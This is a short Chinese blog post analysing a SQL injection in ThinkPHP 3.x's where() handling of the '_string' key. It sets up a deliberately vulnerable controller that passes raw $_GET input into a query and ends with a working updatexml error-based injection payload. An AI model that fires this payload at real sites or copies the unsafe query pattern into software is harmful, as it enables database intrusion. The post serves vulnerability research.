Thinkphp 3.x key可控注入(?)

2021-03-02 17:26

阅读:595

标签:fun   extends   from   col   logs   log   mes   function   rgba   

参考https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&mid=2247484626&idx=1&sn=6a584fde354797177f67d3adcaf786b2

首先配置好Mysql连接

  ‘DB_TYPE‘               =>  ‘mysql‘,     // 数据库类型
    ‘DB_HOST‘               =>  ‘127.0.0.1‘, // 服务器地址
    ‘DB_NAME‘               =>  ‘tp3‘,          // 数据库名
    ‘DB_USER‘               =>  ‘root‘,      // 用户名
    ‘DB_PWD‘                =>  ‘root‘,          // 密码
    ‘DB_PORT‘               =>  ‘3306‘,        // 端口
    ‘DB_PREFIX‘             =>  ‘‘,  

然后写IndexController.class.php的逻辑

php
namespace Home\Controller;
use Think\Controller;
use \Think\Logs;
class IndexController extends Controller {
    public function index(){
        $id = $_GET[id];

        $data = M(‘user‘)->where($id)->find();
        dump($data);

    }

这里使用原生的$_GET接受参数,没有使用I函数,因为I函数会转义单引号

这里着重分析parseWhere函数

技术图片

 

 

 

$key以_开头,进入parseThinkWhere函数

 

技术图片

 

可以看到$key为_string时,$val直接赋值给了$whereStr,有注入风险存在,继续往下跟

技术图片

 

 

 

最后sql语句为

技术图片

 

 

 

SELECT * FROM `user` WHERE ( 1 ) LIMIT 1  

所以我们可以构造1) and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) -- +

 技术图片

 

Thinkphp 3.x key可控注入(?)

标签:fun   extends   from   col   logs   log   mes   function   rgba   

原文地址:https://www.cnblogs.com/cuocuo/p/14329379.html


评论


亲,登录后才可以留言!